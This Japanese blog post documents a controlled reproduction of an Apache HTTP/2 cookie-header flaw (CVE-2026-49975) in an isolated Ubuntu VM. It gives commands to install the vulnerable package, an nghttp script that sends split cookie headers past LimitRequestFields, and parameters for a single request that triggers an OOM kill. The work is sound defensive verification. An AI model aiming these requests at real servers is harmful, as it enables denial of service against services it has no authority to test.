← logs

Ubuntu 24.04 で Apache HTTP Server の CVE-2026-49975 を確認した

2026年6月9日

Apache HTTP Server の CVE-2026-49975 を Ubuntu 24.04 の隔離環境で確認した記録

tags: Apache, Ubuntu, Security, HTTP/2, CVE

はじめに

本記事は、自分が管理する隔離環境で Apache HTTP Server の CVE-2026-49975 を確認した記録である。

インターネット上の第三者サービスや、許可を得ていない環境に対して検証リクエストを送る行為を推奨しない。DoS 系の脆弱性は、検証方法を誤ると対象サービスの可用性に影響を与える。

本記事に出てくるコマンドは、localhost または自分が管理する VM に限定して実行する前提で書いている。実運用環境や第三者の環境で同様の挙動を見つけた場合は、無闇に公開せず、管理者または適切な報告窓口へ連絡するべきである。

脆弱性の検証ログなので、障害対応ログのように「起きた問題、切り分け、原因、修正」という順序にはしない。この記事では、一次ソースから検証する仮説を作り、修正前後の差分を見て、最後に制御付きで OOM イベントを確認する。

今回確認した内容は次の 3 点である。

最後の結果は制御付き検証である。通常設定の Apache が常に同じ形で停止する、という意味ではない。

一次ソース

判断には次の一次ソースを使った。

検証する仮説

この記事では、これらの一次ソースから次の仮説を立てた。

修正前は、HTTP/2 の分割 Cookie ヘッダーが LimitRequestFields の数え上げから漏れる。
その結果、制限を超えた Cookie ヘッダーが処理に進む。
修正版では、同じ入力が LimitRequestFields により拒否される。

検証環境

検証環境は apache-test という隔離 VM である。

OS: Ubuntu 24.04.4 LTS noble
kernel: 6.8.0-84-generic
target before fix: apache2 2.4.58-1ubuntu8.12
fixed package: apache2 2.4.58-1ubuntu8.13
target URL: https://127.0.0.1/

通常の apt repository では、修正版 .13 が candidate になっていた。

apt policy apache2
apache2:
  Installed: 2.4.58-1ubuntu8.12
  Candidate: 2.4.58-1ubuntu8.13
  Version table:
     2.4.58-1ubuntu8.13 500
        500 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 Packages
        500 http://security.ubuntu.com/ubuntu noble-security/main amd64 Packages
 *** 2.4.58-1ubuntu8.12 100
        100 /var/lib/dpkg/status
     2.4.58-1ubuntu8 500
        500 http://archive.ubuntu.com/ubuntu noble/main amd64 Packages

修正前バージョンを用意する

修正前の .12Ubuntu Snapshot Service から導入した。

SNAP=20260601T000000Z

sudo apt update --snapshot "$SNAP"

sudo apt install --snapshot "$SNAP" \
  apache2=2.4.58-1ubuntu8.12 \
  apache2-bin=2.4.58-1ubuntu8.12 \
  apache2-data=2.4.58-1ubuntu8.12 \
  apache2-utils=2.4.58-1ubuntu8.12

sudo apt-mark hold apache2 apache2-bin apache2-data apache2-utils

確認した結果は次の通りである。

dpkg-query -W apache2 apache2-bin apache2-data apache2-utils
apache2       2.4.58-1ubuntu8.12
apache2-bin   2.4.58-1ubuntu8.12
apache2-data  2.4.58-1ubuntu8.12
apache2-utils 2.4.58-1ubuntu8.12

apache2 -vApache/2.4.58 (Ubuntu) とだけ表示する。Ubuntu の修正有無は、dpkg-query でパッケージリビジョンまで確認する必要がある。

影響条件をそろえる

CVE-2026-49975 は HTTP/2 実装に関係する。検証では mod_http2 と TLS を有効にした。

sudo a2enmod ssl http2
sudo a2ensite default-ssl
sudo apache2ctl configtest
sudo systemctl restart apache2

確認した。

apache2ctl -M | grep -Ei 'http2|ssl|mpm|reqtimeout|status'
ss -ltnp | grep -E ':(80|443)[[:space:]]'
curl -kI --http2 https://127.0.0.1/

結果は次の通りである。

http2_module (shared)
ssl_module (shared)
mpm_event_module (shared)
reqtimeout_module (shared)
status_module (shared)

*:443 LISTEN

HTTP/2 200
server: Apache/2.4.58 (Ubuntu)

この時点で、検証環境は影響条件を満たした。

最初の観測では差が出なかった

最初は Apache のプロセスとメモリを観測した。

watch -n 1 'date; ps -C apache2 -o pid,ppid,stat,%cpu,%mem,rss,vsz,etime,cmd --sort=-rss | head -30'
watch -n 1 'free -h; echo; ss -Htan sport = :443 | awk "{print $1}" | sort | uniq -c'
journalctl -u apache2 -f
tail -f /var/log/apache2/access.log /var/log/apache2/error.log

しかし、この観測では DoS を確認できなかった。

最大 apache2 RSS: 12904 KiB
最小 available memory: 6737 MiB
最大 BusyWorkers: 1
最小 IdleWorkers: 49
Apache crash / OOM / restart: なし

この結果から、検証方針を変えた。

脆弱なバージョンと HTTP/2 有効化条件は揃っている。
しかし、リソース消費を眺めるだけでは再現の根拠にならない。
一次ソースの修正点に合わせて、LimitRequestFields の差分を見る。

検証 1: LimitRequestFields の回避を見る

Apache httpd の commit には、Cookie header accounting と LimitRequestFields の修正が書かれている。

そこで LimitRequestFields を小さくした。通常ヘッダーと Cookie ヘッダーの扱いを比較するためである。

LimitRequestFields 10

設定した。

printf "%s\n" \
  "# CVE-2026-49975 bounded reproduction" \
  "LimitRequestFields 10" | sudo tee /etc/apache2/conf-available/cve49975-limit.conf >/dev/null

sudo a2enconf cve49975-limit
sudo apache2ctl configtest
sudo systemctl restart apache2

HTTP/2 client には nghttp を使った。

sudo apt-get install -y nghttp2-client

検証したケースは 3 つである。

実行したコマンドは次の通りである。

run_case() {
  label="$1"
  shift
  echo "===== $label ====="
  nghttp -nv -y -t 5 "$@" https://127.0.0.1/ 2>&1 |
    awk '/send HEADERS frame|recv .*:status|:status:|The negotiated protocol|RST_STREAM|GOAWAY|error/{print}'
  echo
}

extra_x=()
for i in $(seq 1 20); do
  extra_x+=( -H "x-cve-test-$i: $i" )
done

extra_cookie=()
for i in $(seq 1 20); do
  extra_cookie+=( -H "cookie: c$i=$i" )
done

run_case baseline
run_case x_headers_20 "${extra_x[@]}"
run_case cookie_headers_20 "${extra_cookie[@]}"

修正前 .12 の結果は次の通りだった。

apache2 2.4.58-1ubuntu8.12

baseline           -> HTTP/2 200
x_headers_20       -> HTTP/2 431
cookie_headers_20  -> HTTP/2 200

通常ヘッダー 20 個は 431 で拒否された。これは LimitRequestFields 10 の期待通りである。

一方で、Cookie ヘッダー 20 個は 200 で通った。修正前 .12 では、分割 Cookie ヘッダーが LimitRequestFields の上限に正しく反映されていなかった。

検証 2: 修正版との差分を見る

次に、Ubuntu 公式の修正版 .13 に更新した。

sudo apt-mark unhold apache2 apache2-bin apache2-data apache2-utils

sudo apt-get install -y \
  apache2=2.4.58-1ubuntu8.13 \
  apache2-bin=2.4.58-1ubuntu8.13 \
  apache2-data=2.4.58-1ubuntu8.13 \
  apache2-utils=2.4.58-1ubuntu8.13

sudo apt-mark hold apache2 apache2-bin apache2-data apache2-utils
sudo systemctl restart apache2

バージョンを確認した。

dpkg-query -W apache2 apache2-bin apache2-data apache2-utils
apache2       2.4.58-1ubuntu8.13
apache2-bin   2.4.58-1ubuntu8.13
apache2-data  2.4.58-1ubuntu8.13
apache2-utils 2.4.58-1ubuntu8.13

同じ検証を再実行した。

apache2 2.4.58-1ubuntu8.13

baseline           -> HTTP/2 200
x_headers_20       -> HTTP/2 431
cookie_headers_20  -> HTTP/2 431

修正版 .13 では、Cookie ヘッダー 20 個も 431 で拒否された。

アクセスログにも差分が残った。

12:34:00 GET / HTTP/2.0 200  # .12 baseline
12:34:01 GET / HTTP/2.0 431  # .12 x_headers_20
12:34:01 GET / HTTP/2.0 200  # .12 cookie_headers_20

12:34:33 GET / HTTP/2.0 200  # .13 baseline
12:34:33 GET / HTTP/2.0 431  # .13 x_headers_20
12:34:33 GET / HTTP/2.0 431  # .13 cookie_headers_20

この差分により、修正前 .12 では Cookie ヘッダーだけが LimitRequestFields をすり抜け、修正版 .13 では拒否される挙動を確認した。

なぜこの差分が出るのか

原因は、HTTP/2 の分割 Cookie ヘッダーを Apache が merge する処理にあった。

HTTP/2 では Cookie を複数の cookie ヘッダーとして送れる。Apache はそれらを 1 つの Cookie ヘッダーに merge する。

修正前は、この merge が LimitRequestFields の「ヘッダー追加」として数えられなかった。そのため、分割 Cookie ヘッダーが LimitRequestFields をすり抜けた。

mod_h2 の修正 commit は、merge した Cookie ヘッダーを add として扱う変更を入れている。これにより、LimitRequestFields が効くようになる。

今回の観測結果は、この修正内容と一致した。

修正コードの差分を見る

修正コードの差分を見ると、今回の検証結果をかなり素直に説明できる。

Apache httpd 側の commit は mod_http2 を v2.0.41 に更新している。実質的な修正は、modules/http2/h2_util.creq_add_header() に入った 4 行である。

この関数は、HTTP/2 のヘッダーを Apache 内部のヘッダーテーブルへ追加する。通常のヘッダー追加では、呼び出し元へ「ヘッダーを追加した」と伝えるために pwas_added を立てる。

呼び出し元の h2_stream.c では、この値を見て request_headers_added を増やす。その後、request_headers_addedLimitRequestFields を超えたかを判定する。流れを単純化すると次のようになる。

header を追加した場合:
  was_added = true
  request_headers_added++

request_headers_added > LimitRequestFields:
  431 Request Header Fields Too Large

問題は、既に Cookie ヘッダーが存在する場合の処理である。

HTTP/2 では Cookie ヘッダーを複数行で送れる。Apache は 2 個目以降の Cookie ヘッダーを新しいヘッダーとして table に追加せず、既存の Cookie 値へ ; 区切りで merge する。

修正前は、この merge 経路で pwas_added が立たなかった。そのため、Cookie ヘッダーは処理されているのに、request_headers_added には反映されなかった。これが LimitRequestFields をすり抜けた理由である。

修正後は、Cookie を merge した場合も「ヘッダー追加」として扱う。これにより、複数の Cookie ヘッダーが request_headers_added に反映され、LimitRequestFields 10 を超えた時点で 431 になる。

この差分を読んだ後に検証結果を見ると、.12.13 の違いは偶然ではないと分かる。

.12: cookie_headers_20 -> HTTP/2 200
.13: cookie_headers_20 -> HTTP/2 431

これは「メモリが増えたように見えるか」よりも強い根拠である。修正コード、設定値、HTTP 応答が同じ方向を向いているからである。

検証 3: OOM イベントまで見る

ここまでで、修正前 .12 の入力制限回避は確認した。次に、隔離環境で Apache が停止するところまで確認した。

この検証では、VM 全体を巻き込まないようにした。apache2.service の cgroup にだけメモリ上限を設定した。これは通常運用の設定ではない。検証用の安全弁である。

ここでいう OOM イベントとは、Linux がメモリ不足を検知し、プロセスを強制終了する事象である。OOM は Out Of Memory の略である。

今回の OOM は、VM 全体のメモリ枯渇ではない。apache2.service に設定した MemoryMax=16M の cgroup 上限超過である。systemd はこの事象を Result=oom-kill として記録する。

この記事では、OOM イベントを次の意味で使う。

VM 全体のメモリ枯渇ではない。
apache2.service に設定した cgroup メモリ上限を超えた。
Linux / systemd が Apache のプロセスを OOM kill として扱った。
systemd の unit 結果が Result=oom-kill になった。

検証時の Apache は修正前 .12 である。

apache2       2.4.58-1ubuntu8.12
apache2-bin   2.4.58-1ubuntu8.12
apache2-data  2.4.58-1ubuntu8.12
apache2-utils 2.4.58-1ubuntu8.12

検証用に、単一ヘッダーサイズの上限を広げた。

LimitRequestFields 10
LimitRequestFieldSize 1048576

この設定では、通常ヘッダーは field count で拒否される。修正前 .12 の分割 Cookie ヘッダーは field count をすり抜け、merge 処理に進む。

Apache service だけにメモリ上限を付けた。

sudo systemctl set-property --runtime apache2.service \
  MemoryAccounting=yes \
  MemoryMax=16M

cgroup OOM が起きたときに unit 全体を停止するため、検証時だけ runtime drop-in を入れた。

sudo mkdir -p /run/systemd/system/apache2.service.d

printf "%s\n" \
  "[Service]" \
  "OOMPolicy=stop" | sudo tee /run/systemd/system/apache2.service.d/60-oompolicy.conf >/dev/null

sudo systemctl daemon-reload
sudo systemctl restart apache2

通常の HTTP/2 疎通は、この状態でも成功した。

OOMPolicy=stop
MemoryMax=16777216
ActiveState=active
SubState=running
HTTP/2 200

その後、localhost に対して HTTP/2 の Cookie ヘッダーを多数含むリクエストを 1 回送った。

count=600
cookie value size=256 bytes
sent_bytes=119469

結果は次の通りである。

Result=oom-kill
OOMPolicy=stop
MemoryCurrent=[not set]
MemoryMax=16777216
ActiveState=failed
SubState=failed

systemctl status apache2 でも failed を確認した。

Active: failed (Result: oom-kill) since Mon 2026-06-08 13:43:51 UTC
apache2.service: A process of this unit has been killed by the OOM killer.
apache2.service: Failed with result 'oom-kill'.

HTTP/2 の疎通も失敗した。

curl: (7) Failed to connect to 127.0.0.1 port 443 after 0 ms: Couldn't connect to server

OOM イベントの読み方

ここで注意が必要である。MemoryCurrent が大きく増え続けるようには見えなかった。

単発検証の前後では、次のように見えた。

mem_before=14110720
mem_after=9109504

リクエスト後の値だけを見ると、メモリ使用量は増えていないように見える。しかし、これは OOM kill により worker が終了され、そのメモリが解放された後の値である。

MemoryCurrent は観測時点の cgroup メモリ使用量である。リクエスト処理中の瞬間的なピークを必ず捕まえる値ではない。

この停止検証の根拠は MemoryCurrent の増加ではない。根拠は systemd が記録した Result=oom-killFailed with result 'oom-kill' である。

OOMPolicy=stop を入れない状態では、worker が OOM kill されても親プロセスが残った。その場合、通常リクエストは復旧した。したがって、failed は通常設定で観測した結果ではない。cgroup OOM を service failure として扱うために OOMPolicy=stop を入れた、制御付き検証の結果である。

後片付け

検証用の設定を戻した。

sudo a2disconf cve49975-limit
sudo systemctl revert apache2.service
sudo systemctl daemon-reload
sudo apache2ctl configtest
sudo systemctl restart apache2

最終状態は次の通りである。

apache2: 2.4.58-1ubuntu8.13
cve49975-limit.conf: disabled
MemoryMax: infinity
OOMPolicy: continue
HTTP/2: HTTP/2 200

結論

今回の検証で確認できた点をまとめる。

DoS 系の脆弱性では、最初から停止を目的にしない方がよい。まず一次ソースの修正点を読み、再現すべき挙動を小さく切り出す。次に、隔離環境で安全弁をかけて停止条件を観測する。

今回の検証では、この順序が有効だった。

所感

今回の検証で一番大事だったのは、最初から Apache を落とそうとしなかった点である。

DoS 系の脆弱性は、検証するときに「落ちたか、落ちなかったか」へ意識が向きやすい。しかし、この見方だけでは再現性が弱い。入力、設定、並列度、監視のタイミングに結果が左右されるからである。

今回も、最初にプロセスの RSS や MemoryCurrent を眺めた時点では、メモリ使用量が増えているようには見えなかった。この時点で「再現しない」と判断していたら、脆弱性の本質を見落としていたと思う。

一次ソースを読むと、修正点は Cookie ヘッダーの数え上げと LimitRequestFields の関係にあった。そこで、まず LimitRequestFields 10 という小さい条件を作り、通常ヘッダーと Cookie ヘッダーの差を見た。この検証は、対象を停止させなくても修正前後の違いを説明できる。自分にとっては、この差分が一番学びになった。

修正コードの差分も印象的だった。今回の本質的な変更は大きな作り替えではない。Cookie merge 後に「これはヘッダー追加である」と数え上げへ反映する、小さいが重要な変更だった。小さい差分ほど、挙動への影響を見落としやすい。

OOM イベントの確認は、その後で十分だった。しかも、MemoryMax=16MOOMPolicy=stop を使った制御付き検証である。これは「標準設定の Apache が必ず同じように停止する」と示すためではない。入力制限をすり抜けた Cookie ヘッダー処理が、リソース消費として systemd の Result=oom-kill まで到達し得るかを見るための検証である。

もう一つ印象に残ったのは、観測値の読み方である。MemoryCurrent は結果を判断する材料にはなるが、単発リクエスト中のピークを必ず捕まえる値ではない。OOM kill が起きると、終了した worker のメモリは解放される。リクエスト後の MemoryCurrent が低いからといって、OOM イベントが起きていないとは言えない。

脆弱性検証では、攻撃コードの強さよりも、何を根拠に「脆弱だった」と判断するかの方が重要だと感じた。今回でいえば、根拠は巨大なメモリ使用量のスクリーンショットではない。.12.13431 応答差分、一次ソースの修正内容、そして systemd の Result=oom-kill である。

検証していない範囲

今回の停止検証は、MemoryMax=16MOOMPolicy=stop を入れた制御付き検証である。

通常設定で、どの程度の入力と並列度で可用性に影響するかは確認していない。そこまで確認するには、より慎重な負荷設計と監視が必要である。

また、実運用では前段に CDN、ロードバランサ、リバースプロキシが入る構成が多い。HTTP/2 がどこで終端されるかにより、Apache まで到達する入力は変わる。本番影響を判断するには、パッケージの修正状況だけでなく、経路全体を見る必要がある。

参考

関連ログ